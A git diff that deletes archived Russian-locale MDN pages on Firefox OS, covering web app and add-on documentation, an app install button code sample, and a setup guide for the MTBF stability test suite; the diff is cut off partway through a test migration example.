href="/en-US/docs/Web/Apps/Apps_for_Android">Открытые Веб Приложения для Android</a></dt> - <dd>Information about installing and testing Open Web Apps on an Android device.</dd> - <dt><a href="/en-US/docs/Web/Apps/Release_notes">App runtime release notes</a></dt> - <dd>Release notes for the Web app runtimes for various platforms.</dd> -</dl> - -<h2 class="Documentation" id="Other" name="Other">Другие документации</h2> - -<dl> - <dt><a href="/en-US/docs/Web/Apps/Creating_a_store">Создание магазина</a></dt> - <dd>Информация может быть полезна для вас если вы хотите создать свой собственный магазин для продажи и распространения Открытых Веб Приложений.</dd> -</dl> - -<p><span class="alllinks"><a href="/en-US/docs/tag/Marketplace">View All...</a></span></p> -</div> - -<div class="section"> -<h5 class="Tools" id="Tools" name="Tools">Tools for app developers</h5> -<ul> - <li><a href="https://marketplace.firefox.com/developers/">Visit Firefox Marketplace Developer Hub</a></li> - <li><a href="/en-US/docs/Mozilla/Firefox_OS/Using_Firefox_OS_Simulator">Firefox OS Simulator</a></li> - <li><a href="/en-US/docs/Apps/App_developer_tools">App developer tools</a></li> -</ul> -<h5 class="Documentation" id="Documentation" name="Documentation">Technology reference documentation</h5> -<div class="twocolumns"> - <ul> - <li><a href="/en-US/docs/Web/CSS">CSS</a></li> - <li><a href="/en-US/docs/DOM">DOM</a></li> - <li><a href="/en-US/docs/Web/HTML">HTML</a></li> - <li><a href="/en-US/docs/JavaScript">JavaScript</a></li> - <li><a href="/en-US/docs/WebAPI">WebAPI</a></li> - <li><a href="/en-US/docs/Web/WebGL">WebGL</a></li> - <li><a href="/en-US/docs/SVG">SVG</a></li> - <li><a href="https://www.mozilla.org/en-US/apps/">Open Web Apps overview site</a></li> - <li><a href="https://wiki.mozilla.org/Apps">Apps project wiki page</a></li> - </ul> -</div> -<h5 class="Community" id="Community" name="Community">Getting help from the community</h5> -<p>If you still aren't sure how to do what you're trying to get done, feel free to join the conversation!</p> -<ul> - <li>Consult the webapps forum: <ul> - <li><a href="https://lists.mozilla.org/listinfo/dev-webapps"> Почтовая рассылка</a></li> - - - <li><a href="http://groups.google.com/group/mozilla.dev.webapps"> newsgroup</a></li> - <li><a href="http://groups.google.com/group/mozilla.dev.webapps/feeds"> Новостная лента</a></li> -</ul> - <ul> - <li>Ask your question on the Open Web Apps IRC channel: <a class="link-irc" href="irc://irc.mozilla.org/openwebapps">#openwebapps</a></li> - </ul> - </li> -</ul> -<p><span class="alllinks"><a href="http://www.catb.org/~esr/faqs/smart-questions.html" rel="external">Don't forget about the <em>netiquette</em>...</a></span></p> -</div> -</div> - -<p> </p> diff --git a/files/ru/archive/apps/index.html b/files/ru/archive/apps/index.html deleted file mode 100644 index 89e9dac3d6..0000000000 --- a/files/ru/archive/apps/index.html +++ /dev/null @@ -1,8 +0,0 @@ ---- -title: Apps -slug: Archive/Apps -translation_of: Archive/Apps ---- -<p class="summary">In progress. This page includes archived content for Apps, including obsolete web app content, Firefox OS app-related content, etc.</p> - -<p>{{SubpagesWithSummaries}}</p> diff --git a/files/ru/archive/b2g_os/add-ons/index.html b/files/ru/archive/b2g_os/add-ons/index.html deleted file mode 100644 index c09b878c75..0000000000 --- a/files/ru/archive/b2g_os/add-ons/index.html +++ /dev/null @@ -1,57 +0,0 @@ ---- -title: Firefox OS add-ons -slug: Archive/B2G_OS/Add-ons -translation_of: Archive/B2G_OS/Add-ons ---- -<p class="summary"><font><font>Firefox OS 2.5 появилась поддержка аддонов, особенность, которая настольные пользователи знают и любят с начала Firefox. </font><font>Дополнения Firefox OS на еще более мощный и может настроить не только браузер, но и весь опыт телефона, в том числе настроек для домашнего экрана и системы приложений, таких как E-Mail и сообщения. </font><font>Эта страница расскажет вам все, что вам нужно знать, чтобы начать работу с создания Firefox OS дополнения и участие с Дополнения сообщества.</font></font></p> - -<div class="note"> -<p dir="ltr"><strong><font><font>Примечание: Firefox OS дополнения основаны на </font></font></strong><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions"><font><font>API </font></font></a><font><font>WebExtensions, </font><font>который также поддерживается в Firefox столе начиная с версии 42 и на основе расширения API, используемых в Chrome и Opera.</font></font></p> -</div> - -<h2 id="Предпосылки"><font><font>Предпосылки</font></font></h2> - -<p><font><font>Вы должны следовать приведенным ниже инструкциям, чтобы настроить, чтобы начать разработку расширений.</font></font></p> - -<h3 dir="ltr" id="1._Вспышка_телефон_к_Firefox_OS_2.5"><font><font>1. Вспышка телефон к Firefox OS 2.5</font></font></h3> - -<p dir="ltr"><font><font>Firefox OS дополнения поддерживаются только в Firefox OS 2.5 и более поздних версий. </font><font>Вот список поддерживаемых устройств и, как обновить их (этот список является неполным, и будут добавлены как время идет.)</font></font></p> - -<ul> - <li dir="ltr"><font><font>Пламя (рекомендуется): См </font></font><a href="/en-US/Firefox_OS/Phone_guide/Flame/Updating_your_Flame#Quick_guide_to_updating_your_device"><font><font>Краткое руководство по обновлению </font></font></a><font><font>Пламя.</font></font></li> -</ul> - -<h3 id="2._Включить_отладку_USB"><font><font>2. Включить отладку USB</font></font></h3> - -<p><font><font>В </font></font><em><font><font>Настройки</font></font></em><font><font> приложения на устройстве, выберите </font></font><em><font><font>Developer> Отладка через USB> АБР и </font></font></em><font><font>Devtools. </font><font>Теперь вы должны быть в состоянии отладки, используя установленные приложения WebIDE, либо с помощью кабеля USB в, </font></font><a href="/en-US/docs/Tools/Remote_Debugging/Debugging_Firefox_OS_over_Wifi"><font><font>и над Wi-Fi</font></font></a><font><font> (кабель USB не требуется.)</font></font></p> - -<h3 id="3._Установите_WebIDE"><font><font>3. Установите WebIDE</font></font></h3> - -<p><a href="/en-US/docs/Tools/WebIDE"><font><font>WebIDE</font></font></a><font><font> инструмент является частью Firefox и может быть использован для установки надстроек на вашем телефоне во время разработки - см </font></font><a href="/en-US/docs/Mozilla/Firefox_OS/Add-ons/Developing_Firefox_OS_add-ons#Testing_your_add-on_using_WebIDE"><font><font>Тестирование надстройку с помощью WebIDE</font></font></a><font><font> для получения дополнительной информации.</font></font></p> - -<h2 id="Смотрите_также"><font><font>Смотрите также</font></font></h2> - -<h3 id="Развивающийся"><font><font>Развивающийся</font></font></h3> - -<ul> - <li dir="ltr"><strong><font><font>Tutorial</font></font></strong><font><font> : </font></font><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Firefox_OS/Add-ons/Developing_Firefox_OS_add-ons"><font><font>https://developer.mozilla.org/en-US/docs/Mozilla/Firefox_OS/Add-ons/Developing_Firefox_OS_add-ons</font></font></a></li> - <li dir="ltr"><strong><font><font>В глубине example</font></font></strong><font><font> : </font></font><a href="https://hacks.mozilla.org/2015/11/building-an-ios-style-unread-notifications-add-on-for-firefox-os/"><font><font>https://hacks.mozilla.org/2015/11/building-an-ios-style-unread-notifications-add-on-for-firefox-os/</font></font></a></li> - <li dir="ltr"><strong><font><font>Справочник по </font></font></strong><font><font>API: </font></font><a href="https://developer.mozilla.org/en-US/Add-ons/WebExtensions"><font><font>https://developer.mozilla.org/en-US/Add-ons/WebExtensions</font></font></a></li> -</ul> - -<h3 dir="ltr" id="Распространение"><font><font>Распространение</font></font></h3> - -<ul> - <li dir="ltr"><strong><font><font>Передать </font></font></strong><font><font>Marketplace: </font></font><a href="/en-US/docs/Mozilla/Marketplace/Add-on_submission"><font><font>Добавить-на представления</font></font></a></li> - <li dir="ltr"><strong><font><font>Критерии обзора</font></font></strong><font><font> (рабочий проект): </font></font><a href="/en-US/docs/Mozilla/Marketplace/Add-on_submission/Review_criteria"><font><font>Добавить-на критерии обзор</font></font></a></li> -</ul> - -<h3 dir="ltr" id="Втягиваться"><font><font>Втягиваться</font></font></h3> - -<ul> - <li dir="ltr"><font><font>Рассылка: </font></font><a href="https://mail.mozilla.org/listinfo/dev-addons"><font><font>https://mail.mozilla.org/listinfo/dev-fxos</font></font></a></li> - <li dir="ltr"><strong><font><font>Дискурс </font></font></strong><font><font>форум: </font></font><a href="https://discourse.mozilla-community.org/c/add-ons/development"><font><font>https://discourse.mozilla-community.org/c/add-ons/development</font></font></a></li> - <li dir="ltr"><strong><font><font>IRC: irc.mozilla.org, #webextensions и #fxos</font></font></strong></li> - <li dir="ltr"><strong><font><font>Дайте нам знать, какие новые API-интерфейсы, мы должны расставить </font></font></strong><font><font>приоритеты: </font></font><a href="https://webextensions.uservoice.com/forums/315663-webextension-api-ideas"><font><font>https://webextensions.uservoice.com/forums/315663-webextension-api-ideas</font></font></a></li> - <li dir="ltr"><strong><font><font>Следуйте за нами на </font></font></strong><a href="https://twitter.com/MozWebExt"><font><font>Twitter:MozWebExt</font></font></a></li> -</ul> diff --git a/files/ru/archive/b2g_os/apps/index.html b/files/ru/archive/b2g_os/apps/index.html deleted file mode 100644 index 30ee215827..0000000000 --- a/files/ru/archive/b2g_os/apps/index.html +++ /dev/null @@ -1,55 +0,0 @@ ---- -title: Creating Apps for Firefox OS -slug: Archive/B2G_OS/Apps -tags: - - Apps - - B2G - - Firefox OS - - NeedsTranslation - - TopicStub -translation_of: Web/Apps/Fundamentals ---- -<p>Applications for Firefox OS devices are simply open Web apps; they consist entirely of open Web technologies such as JavaScript, HTML, and CSS. While our primary documentation for apps covers nearly everything you need to know, there are a few documents specific to developing and testing for Firefox OS that are presented here.</p> -<div class="row topicpage-table"> - <div class="section"> - <h2 class="Documentation" id="Documentation" name="Documentation">Documentation and tutorials</h2> - <dl> - <dt> - <a href="/en-US/docs/Mozilla/Firefox_OS/Apps/Writing_a_web_app_for_Firefox_OS">Writing a web app for Firefox OS</a></dt> - <dd> - A tutorial to creating your first web application for Firefox OS.</dd> - <dt> - <a href="/en-US/docs/Mozilla/Firefox_OS/UX" title="/en-US/docs/Mozilla/Firefox_OS/UX">User experience</a></dt> - <dd> - Guides to help you develop apps with a consistent and attractive user experience, including code samples and templates.</dd> - <dt> - <a href="/en-US/docs/Mozilla/Firefox_OS/Apps/Tips_and_techniques">Tips and techniques</a></dt> - <dd> - An assortment of tips and tricks (as well as workarounds for problems) that our developers have suggested for you!</dd> - </dl> - <p><span class="alllinks"><a href="/en-US/docs/tag/Apps">View All...</a></span></p> - </div> - <div class="section"> - <h2 class="Community" id="Community" name="Community">Getting help from the community</h2> - <p>You need help on an app-related problem and can't find the solution in the documentation?</p> - <ul> - <li>Consult the web apps forum: {{DiscussionList("dev-webapps", "mozilla.dev.webapps")}}</li> - <li>Consult the layout forum, which covers CSS and HTML: {{ DiscussionList("dev-tech-css", "mozilla.dev.tech.layout") }} - <ul> - <li>Ask your question on the Mozilla IRC channel: <a class="link-irc" href="irc://irc.mozilla.org/openwebapps">#openwebapps</a></li> - </ul> - </li> - </ul> - <p><span class="alllinks"><a class="external" href="http://www.catb.org/~esr/faqs/smart-questions.html">Don't forget about the <em>netiquette</em>...</a></span></p> - <h2 class="Tools" id="Tools" name="Tools">Tools</h2> - <ul> - <li><span class="external">The Firefox <a href="/en-US/docs/Tools/Debugger">Debugger</a> offers support for remotely debugging Firefox OS apps</span></li> - <li><span class="external">Other <a href="/en-US/docs/Tools">Developer Tools</a></span></li> - </ul> - <p><span class="alllinks"><a href="/en-US/docs/tag/Tools">View All...</a></span></p> - <h2 class="Related_Topics" id="Related_Topics" name="Related_Topics">Related Topics</h2> - <ul> - <li><a href="/en-US/docs/Web/Apps">Apps</a></li> - </ul> - </div> -</div> diff --git a/files/ru/archive/b2g_os/apps/writing_a_web_app_for_firefox_os_ru/index.html b/files/ru/archive/b2g_os/apps/writing_a_web_app_for_firefox_os_ru/index.html deleted file mode 100644 index 338a8c6994..0000000000 --- a/files/ru/archive/b2g_os/apps/writing_a_web_app_for_firefox_os_ru/index.html +++ /dev/null @@ -1,44 +0,0 @@ ---- -title: Создание веб-приложений для Firefox OS -slug: Archive/B2G_OS/Apps/Writing_a_web_app_for_Firefox_OS_ru -translation_of: Web/Apps/Fundamentals/Quickstart ---- -<p>Приложения для Firefox OS представляют собой обычные Web-приложения, написанные с использованием HTML, CSS и JavaScript. Они публикуются в Web подобно обычным Web-сайтам. Чтобы сделать Web-сайт инсталлируемым на мобильные устройства в качестве Web-приложения, Вам нужно лишь добавить к нему файл манифеста и кнопку "install", как описывается ниже.</p> -<p>Для начала рекомендуется прочесть следующие статьи:</p> -<ul> - <li><a href="/en-US/docs/Web/Apps/Getting_Started">Getting started with making apps</a></li> - <li><a href="/en-US/docs/Web/Apps/Manifest">App manifest</a></li> -</ul> -<p>И, конечно же, Вы вольны <a href="/en-US/docs/Web/Apps">dive even further into Open Web Apps</a>!</p> -<h2 id="Инсталляция_Web-приложения">Инсталляция Web-приложения</h2> -<p>Манифест-файл прилагается к веб-приложению для того, чтобы Gecko смог его должным образом обработать при инсталляции. В процессе инсталляции Gecko "читает" файл манифеста и вносит при необходимости дополнительные записи в домашний экран (home screen) и т.п.</p> -<p>Для инсталляции приложения служит <a href="/en-US/docs/Web/API/Apps.install"><code>navigator.mozApps.install</code> API</a>. Ниже приведён пример кнопки "Install", которую можно встроить в Ваше приложение, если Вы хостите его самостоятельно:</p> -<pre class="brush: html"><button id="install"> - Install this awesome app on your homescreen! -</button> - -<script> -(function(){ - function install(ev) { - ev.preventDefault(); - // define the manifest URL - var manifest_url = "http://my.webapp.com/manifest.webapp"; - // install the app - var myapp = navigator.mozApps.install(manifest_url); - myapp.onsuccess = function(data) { - // App is installed, remove button - this.parentNode.removeChild(this); - }; - myapp.onerror = function() { - // App wasn't installed, info is in this.error.name - console.log('Install failed, error: ' + this.error.name); - }; - }; - // get a reference to the button and call install() on click - var button = document.getElementById('install'); - button.addEventListener('click', install, false); -})(); -</script> -</pre> -<p>Примечание: кнопка "Install" может быть расположена и в магазине приложений, например, в <a href="/en-US/docs/Web/Apps/Publishing/Submitting_an_app">Firefox Marketplace</a>, но зачастую весьма удобно иметь кнопку "Install as web app" на главной странице Вашего сайта.</p> -<p>Теперь при заходе на Ваш сайт броузером из Firefox OS, его можно будет установить как приложение, нажав кнопку "Install".</p> diff --git a/files/ru/archive/b2g_os/automated_testing/index.html b/files/ru/archive/b2g_os/automated_testing/index.html deleted file mode 100644 index f5f4048cbb..0000000000 --- a/files/ru/archive/b2g_os/automated_testing/index.html +++ /dev/null @@ -1,81 +0,0 @@ ---- -title: Automated Testing of Firefox OS -slug: Archive/B2G_OS/Automated_testing -translation_of: Archive/B2G_OS/Automated_testing ---- -<div class="summary"> -<p>Given that Firefox OS is still under development, and support for new hardware is going to be forthcoming for the foreseeable future, it's important to know how to test it. <span class="seoSummary">This page offers articles that provide information about various aspects of testing Firefox OS, including running different tests, automation, and result reporting and tracking. </span></p> -</div> - -<h2 id="Getting_started">Getting started</h2> - -<dl> - <dt><a href="/en-US/Firefox_OS/Running_Tests_on_Firefox_OS_for_Developers">Running tests on Firefox OS: A guide for developers</a></dt> - <dd>A quick, developer-focused guide to getting started with running the tests. This is where you should start if you are not experienced in running Mozilla's tests and automation systems. If you are, then you will probably have an idea of what tests you want to run and how, and you can skip on to the more specific detailed guides below.</dd> -</dl> - -<h2 id="Gaia_tests">Gaia tests</h2> - -<p>These articles cover the primary test suites designed to put Gaia through its paces.</p> - -<dl> - <dt><a href="/en-US/docs/Mozilla/Firefox_OS/Automated_testing/gaia-ui-tests" title="/en-US/docs/Mozilla/Firefox_OS/Automated_testing/gaia-ui-tests">Gaia UI tests</a></dt> - <dd>Python tests for Gaia UI interactions and features.</dd> - <dt><a href="/en-US/docs/Mozilla/Firefox_OS/Automated_testing/Gaia_integration_tests">Gaia integration tests</a></dt> - <dd>JavaScript integration tests for Gaia, based on Marionette.</dd> - <dt><a href="/en-US/docs/Mozilla/Firefox_OS/Automated_testing/Gaia_unit_tests" title="/en-US/docs/Mozilla/Firefox_OS/Automated_testing/Gaia_unit_tests">Gaia unit tests</a></dt> - <dd>Gaia unit tests with no UI interaction; written in JavaScript, not Marionette-based.</dd> - <dt><a href="/en-US/Firefox_OS/Automated_testing/Gaia_performance_tests">Gaia performance tests</a></dt> - <dd>Measures Gaia app performance based on internal instrumentation. The testing harness is in-tree.</dd> - <dt><a href="https://github.com/mozilla/b2gperf" title="https://github.com/mozilla/b2gperf">B2GPerf</a></dt> - <dd>Measures Gaia app performance based on internal instrumentation.</dd> - <dt><a href="https://wiki.mozilla.org/Project_Eideticker" title="https://github.com/mozilla/eideticker">Eideticker</a></dt> - <dd>Provides performance measurements for Firefox OS based on video captures.</dd> - <dt><a href="/en-US/docs/Mozilla/Firefox_OS/Automated_testing/MTBF_tests">MTBF test</a></dt> - <dd>Mean Time Between Failure. This is a test suite that runs on device for long duration, attempting to find problems with Gaia uptime and stability. (Currently, it is owned by Taiwan QA team and still a developing test framework)</dd> -</dl> - -<h2 id="B2G_tests">B2G tests</h2> - -<p>The guides below cover a number of different test harnesses that test various aspects of B2G functionality.</p> - -<dl> - <dt><a href="/en-US/docs/Mozilla/Firefox_OS/Automated_testing/Mochitests" title="/en-US/docs/Mozilla/Firefox_OS/Automated_testing/Mochitests">Mochitests</a></dt> - <dd>Gecko functional and API tests; HTML & JS based. No Gaia interaction.</dd> - <dt><a href="/en-US/docs/Mozilla/Firefox_OS/Automated_testing/Reftests" title="/en-US/docs/Mozilla/Firefox_OS/Automated_testing/Reftests">Reftests</a></dt> - <dd>Gecko rendering correctness tests.</dd> - <dt><a href="/en-US/docs/Marionette/Marionette_JavaScript_Tests" title="/en-US/docs/Marionette/Marionette_JavaScript_Tests">WebAPI tests</a></dt> - <dd>Gecko JS-based WebAPI tests; most of these require an emulator.</dd> - <dt><a href="/en-US/docs/Mozilla/Firefox_OS/Automated_testing/XPCShell" title="/en-US/docs/Mozilla/Firefox_OS/Automated_testing/XPCShell">xpcshell tests</a></dt> - <dd>Headless tests of Gecko XPCOM APIs.</dd> -</dl> - -<h2 id="Supporting_documentation">Supporting documentation</h2> - -<p>This section provides links to some of the supporting technologies that underpin Mozilla's tests, which you may want to find more information about.</p> - -<dl> - <dt><a href="/en-US/docs/Marionette" title="/en-US/docs/Marionette">Marionette</a></dt> - <dd>A remote test driver based on Selenium WebDriver.</dd> - <dt><a href="/en-US/docs/Marionette/Marionette_JavaScript_Tools" title="/en-US/docs/Marionette/Marionette_JavaScript_Tools">Marionette JavaScript tools</a></dt> - <dd>A node.js-based runner for Marionette.</dd> - <dt><a href="/en-US/docs/Marionette/Python_Marionette" title="/en-US/docs/Marionette/Python_Marionette">Marionette Python client</a></dt> - <dd>A Python runner for Marionette.</dd> -</dl> - -<div class="note"> -<p><strong>Note</strong>: If you want to run Marionette against a production build (to run gaia integration tests, gaia-ui-tests, etc.), you can <a href="https://github.com/mozilla-b2g/marionette-extension">install Marionette as an extension</a> (this currently only works for 1.3 builds, but more support will be added soon.)</p> -</div> - -<h2 id="Continuous_integration_and_result_reporting">Continuous integration and result reporting</h2> - -<p>The following articles cover the continuous integration and result reporting mechanisms Mozilla uses to store and intepret test data.</p> - -<dl> - <dt><a href="/en-US/docs/Mozilla/Firefox_OS/Automated_testing/Treeherder">Treeherder</a></dt> - <dd>Understand the tests and builds that run on Treeherder.</dd> - <dt><a href="https://wiki.mozilla.org/B2G/Datazilla" title="https://wiki.mozilla.org/B2G/Datazilla">Datazilla</a></dt> - <dd>Understand which performance tests are reporting to the <a href="https://datazilla.mozilla.org/b2g/" title="https://datazilla.mozilla.org/b2g/">Datazilla dashboard</a>, and what those tests measure.</dd> - <dt><a href="/en-US/docs/Mozilla/Firefox_OS/Automated_testing/Test_Execution_Chart" title="/en-US/docs/Mozilla/Firefox_OS/Testing/Test_Execution_Chart">Test execution chart</a></dt> - <dd>A chart showing which tests are being run — on what devices and where — and which platforms are supported for each test.</dd> -</dl> diff --git a/files/ru/archive/b2g_os/automated_testing/mtbf_tests/index.html b/files/ru/archive/b2g_os/automated_testing/mtbf_tests/index.html deleted file mode 100644 index a9411bfbe0..0000000000 --- a/files/ru/archive/b2g_os/automated_testing/mtbf_tests/index.html +++ /dev/null @@ -1,235 +0,0 @@ ---- -title: MTBF tests -slug: Archive/B2G_OS/Automated_testing/MTBF_tests -translation_of: Archive/B2G_OS/Automated_testing/MTBF_tests ---- -<div class="summary"> -<ol> - <li>The MTBF tests are a suite of Firefox OS tests built on top of the <a href="https://developer.mozilla.org/en-US/docs/Mozilla/Firefox_OS/Platform/Automated_testing/gaia-ui-tests" title="https://developer.mozilla.org/en-US/docs/Mozilla/Firefox_OS/Platform/Automated_testing/gaia-ui-tests">Gaiatest (Gaia UI Tests) </a>Framework. The tests run on real Firefox OS devices, and use <a href="/en-US/docs/Marionette" title="/en-US/docs/Marionette">Marionette</a> to drive the device's UI. These tests are designed to measure application stability/reliability, and replace the now-discountinued <a href="/en-US/Firefox_OS/Platform/Automated_testing/Endurance">Gaia endurance tests</a>.</li> -</ol> -</div> - -<p><strong>Mean time between failures (MTBF)</strong> is the predicted elapsed time between inherent failures of a system during operation. MTBF can be calculated as the arithmetic mean (average) time between failures of a system. The MTBF is typically part of a model that assumes the failed system is immediately repaired (mean time to repair, or MTTR), as a part of a renewal process. This is in contrast to the mean time to failure (MTTF), which measures average time to failures with the modeling assumption that the failed system is not repaired (infinite repair time).</p> - -<h2 id="Current_Environment_Setup">Current Environment & Setup</h2> - -<p>MTBF tests are run by automation; the test suite collects general test cases like send sms, email, set alarm, etc., and executes them to emulate typical user behavior. Right now we have more than 10 Firefox OS phones concurrently running tests in our test lab.</p> - -<h3 id="How_often_are_the_tests_run">How often are the tests run?</h3> - -<p>MTBF is purposed to test on versions or branches with 0 functional failures. it runs when everything passes in our smoke tests; the testing code should be in the Aurora (next release) branch.</p> - -<h3 id="Where_can_I_see_the_results">Where can I see the results?</h3> - -<p>MTBF is still being developed and you can mail us for an early report (try the <a href="https://lists.mozilla.org/listinfo/dev-b2g">dev-b2g</a> or <a href="https://lists.mozilla.org/listinfo/dev-gaia">dev-gaia</a> mailing lists). You can set up the necessary environment to run the tests yourself and generate your own reports by following the below steps.</p> - -<h2 id="Running_the_tests">Running the tests</h2> - -<p>Let's go through the steps required to set up the Gaia-UI MTBF test environment and run the tests on your local machine and Firefox OS device.</p> - -<h3 id="Prerequisites">Prerequisites</h3> - -<ul> - <li>Ubuntu 12.04 (or better) x64 or Mac OS X (these instructions are confirmed for 10.8 but should work on previous versions of 10, theoretically.)</li> - <li>A Firefox OS device ALREADY FLASHED with an ENGINEERING build of Firefox OS B2G-18 V1-Train (1.1.)</li> - <li><a href="/en-US/Firefox_OS/Debugging/Installing_ADB">ADB installed</a>, and the environment variable <code>ADB_PATH</code> pointing to your ADB location.</li> -</ul> - -<p>If you are on Ubuntu, you need to check that it is configured to support the USB connection to the Firefox OS device. To verify this, connect the device to your computer via USB, open a terminal and enter the <code>adb logcat</code> command to see if it connects. If not, you may need to set up a <a href="/en-US/Firefox_OS/Firefox_OS_build_prerequisites#For_Linux.3A_configure_the_udev_rule_for_your_phone">udev rule</a> for the device.</p> - -<div class="note"> -<p><strong>Note</strong>: At the point where you start running through the following steps, the Firefox OS device should not be connected to your computer. You will be told when to connect it in the steps below.</p> -</div> - -<h3 id="Step_1_Clone_the_MTBF-Driver_repository_from_Mozilla-TWQA">Step 1: Clone the MTBF-Driver repository from Mozilla-TWQA</h3> - -<p>The Gaia-UI MTBF Tests are located in the Mozilla Github Gaia repository. Assuming that you haven’t done so already, the first step is to clone that repo:</p> - -<pre class="brush: bash">git clone https://github.com/Mozilla-TWQA/MTBF-Driver.git</pre> - -<p>You may want to go get a coffee and come back in five minutes. Furthermore, you can get all the branches and try to switch to the current MTBF branch (e.g. master or v1.4+.) In this case, master matches the current master branch Gaia, and v1.4+ matches the v1.4/v1.3 branch Gaia.</p> - -<h3 id="Step_2_Run_the_GaiaTest_setup">Step 2: Run the GaiaTest setup</h3> - -<p>The Gaia-UI MTBF tests are built upon the GaiaTest framework (which uses <a href="https://developer.mozilla.org/en-US/docs/Marionette" title="Marionette">Marionette</a>). The next step is to run the setup script to install GaiaTest and all of the required dependencies. You may wish to create a new virtual environment to use with the Gaia-UI MTBF Tests. If you don’t, you may need to use <code>sudo</code> while running the setup command. In your terminal, type:</p> - -<pre class="brush: bash">cd MTBF-Driver -python setup.py develop</pre> - -<h3 id="Step_3_Get_memory_tools_if_you_need_them">Step 3: Get memory tools if you need them</h3> - -<p>To access the memory tools, find them in the <code>tools</code> directory in the <code>B2G</code> repo. If you've not already got this, clone it from Github like so (this is also a large download):</p> - -<pre class="brush: bash">git clone https://github.com/mozilla-b2g/B2G.git</pre> - -<p>You should copy the tools folder into the <code>MTBF-Driver/mtbf_drivers</code> directory.</p> - -<h3 id="Step_4_Set_test_vars_and_acknowledge_risks">Step 4: Set test vars and acknowledge risks</h3> - -<p>GaiaTest uses a special file to set certain variables that are required for test configuration, for example to tell the device which WiFi network it should use. Before running the Gaia-UI MTBF Tests, you must set up the test vars file. Make a copy of the <code>gaia/tests/python/gaia-ui-tests/gaiatest/testvars_template.json</code> file in its existing location (rename it to something memorable) and edit it:</p> - -<ul> - <li>If the Firefox OS device has a SIM card, add the corresponding phone number in the phone number field in the <code>carrier</code> section, e.g. <code>"phone_number": "5551234567"</code>.</li> - <li>Add the same phone number inside the <code>"remote_phone_number"</code> field.</li> - <li>In the <code>wifi</code> section, add the SSID for the Wifi network that the Firefox OS device is to connect to during the tests in the <code>ssid</code> field, for example <code>"ssid": "Wifi Network Name"</code>.</li> -</ul> - -<p>Running the Gaia-UI MTBF tests will result in data being erased from the Firefox OS device and microSD card. This is to ensure that the tests start cleanly each time. For example, running a contacts test on a device that already has 10,000 contacts will have very different memory value results compared to running the same test on a device with no existing contacts. In order to run the tests, you must acknowledge that you are aware of this data loss risk. You should also <a href="/en-US/Firefox_OS/Developing_Gaia/Gaia_tools_reference#Backup_and_restore_profile">backup any data</a> you don't want to lose.</p> - -<p>To acknowledge the risks, add the following entry to your <code>testvars</code> file as the first field in the list: <code>"acknowledged_risks": true</code>.</p> - -<div class="note"> -<p><strong>Note</strong>: If the risks are not acknowledged in the <code>testvars</code> file, the tests will not run.</p> -</div> - -<h3 id="Step_5_Connect_to_USB_and_ADB_Forward_the_Device">Step 5: Connect to USB and ADB Forward the Device</h3> - -<p>Attach the Firefox OS device to your computer via USB.</p> - -<div class="note"> -<p><strong>Note</strong>: If you’re using an Ubuntu VM, after attaching the device ensure the VM sees the device and connects to it; in the VM select <strong>VM > Removable Devices > Your Device > Connect</strong> and wait for the device to connect to the VM.</p> -</div> - -<p>Now tell <code>adb</code> to forward the device port to GaiaTest using the following command:</p> - -<pre class="brush: bash">adb forward tcp:2828 tcp:2828</pre> - -<div class="note"> -<p><strong>Note</strong>: If you are using the Firefox OS Leo device, you must first tell ADB to be the root user, like so:</p> - -<pre>adb root -adb forward tcp:2828 tcp:2828</pre> -</div> - -<h3 id="Step_6_Run_a_Test">Step 6: Run a Test</h3> - -<p>Now you’re ready to actually try running a test. Use the following commands:</p> - -<pre class="brush: bash">cd {MTBF Driver Folder} -MTBF_TIME=1d MTBF_CONF=conf/local.json mtbf --address=localhost:2828 --testvars=mytestvars.json</pre> - -<p>We can parse the <code>MTBF_TIME</code> by d(ay), h(our), or m(inute).</p> - -<p>If you get a “connection refused” error it means the device USB connection didn’t work; just repeat the device connection and try again.</p> - -<p>The Firefox OS device b2g process should now restart, then the specified test will run with a single iteration. If you watch the Firefox OS device, you’ll see the device UI being manipulated by Marionette. After the test finishes, a memory checkpoint will be performed.</p> - -<div class="note"> -<p><strong>Note</strong>: The Gaia-UI MTBF tests now grab the Firefox OS device’s b2g process RSS value for the memory use checkpoint (it used to be the V-SIZE value.)</p> -</div> - -<p>The test result will be displayed in the terminal window. Note that this result doesn’t include the b2g process memory value; this value is stored in a text file, created at the time of the checkpoint in the <code>checkpoints</code> directory. To see the resulting b2g process, open this file. This "suite_summary" file will contain the average b2g process memory use (RSS) value, averaged from all the test checkpoints (in our example there was only one checkpoint.)</p> - -<p>There are two other files present in the <code>checkpoints</code> folder (assuming the test run was the "add contact" test):</p> - -<ul> - <li>The <code>checkpoint_add_contact_(datetime)_summary.log</code> file contains a summary for the test run. This includes the number of iterations, all of the RSS value readings from each checkpoint, the average RSS value, etc.</li> - <li>The <code>checkpoint_add_contact_(datetime).log</code> file contains the raw data received from each of the device checkpoints, from which the summary files were produced.</li> -</ul> - -<h3 id="Step_7_Using_Variables_and_Config_Files">Step 7: Using Variables and Config Files</h3> - -<p>We use envrionment variable MTBF_TIME for running duration. The other one is MTBF_CONF which refers to json file, specific runner options include test case repository and list. A normal config file should look like </p> - -<pre><code>{ - "memory_report": false, - "logcat": true, - "overall_status": true, - "b2g_status": true, - "get_event": true, - "rootdir": "tests/mtbf", - "workspace": "/tmp/workspace", - "manifest_prefix": "mtbf", - "archive": "output", - "runlist": "runlist/all.list", - "level": 4 -}</code></pre> - -<ul> - <li>memory_report, locat, overall_status, b2g_status and get event help: options for collecting debug information.</li> - <li>rootdir: root of test case repository for searching and matching in runlist.</li> - <li>workspace: running materials will be stored here for replay.</li> - <li>manifest_prefix: currently not available.</li> - <li>archive: specifying folder for storing report and debug information</li> - <li>runlist: json file by a list of test case file path. Test cases will be randomly picked and put into running queue.</li> - <li>level: specify how often a dummy case (to simulator user not focusing) should be triggered. level 0 is no test will be run, where level 5 means no dummy test enqueued.</li> -</ul> - -<h2 id="Contributing_to_the_project">Contributing to the project</h2> - -<p>If you have any questions about the Firefox OS MTBF tests or are interested in contributing to this important automation development effort, feel free to contact us at wachen@mozilla.com</p> - -<h2 id="How_to_migrate_test_cases_from_Gaia-ui-tests">How to migrate test cases from Gaia-ui-tests</h2> - -<p>This section provides a guide to migrating tests between gaia-ui tests and MTBF.</p> - -<h3 dir="ltr" id="Step_1_Rename">Step 1: Rename</h3> - -<ul> - <li><code>from MtbfTestCase import GaiaMtbfTestCase</code> - - <ul> - <li>(original) <code>from gaiatest import 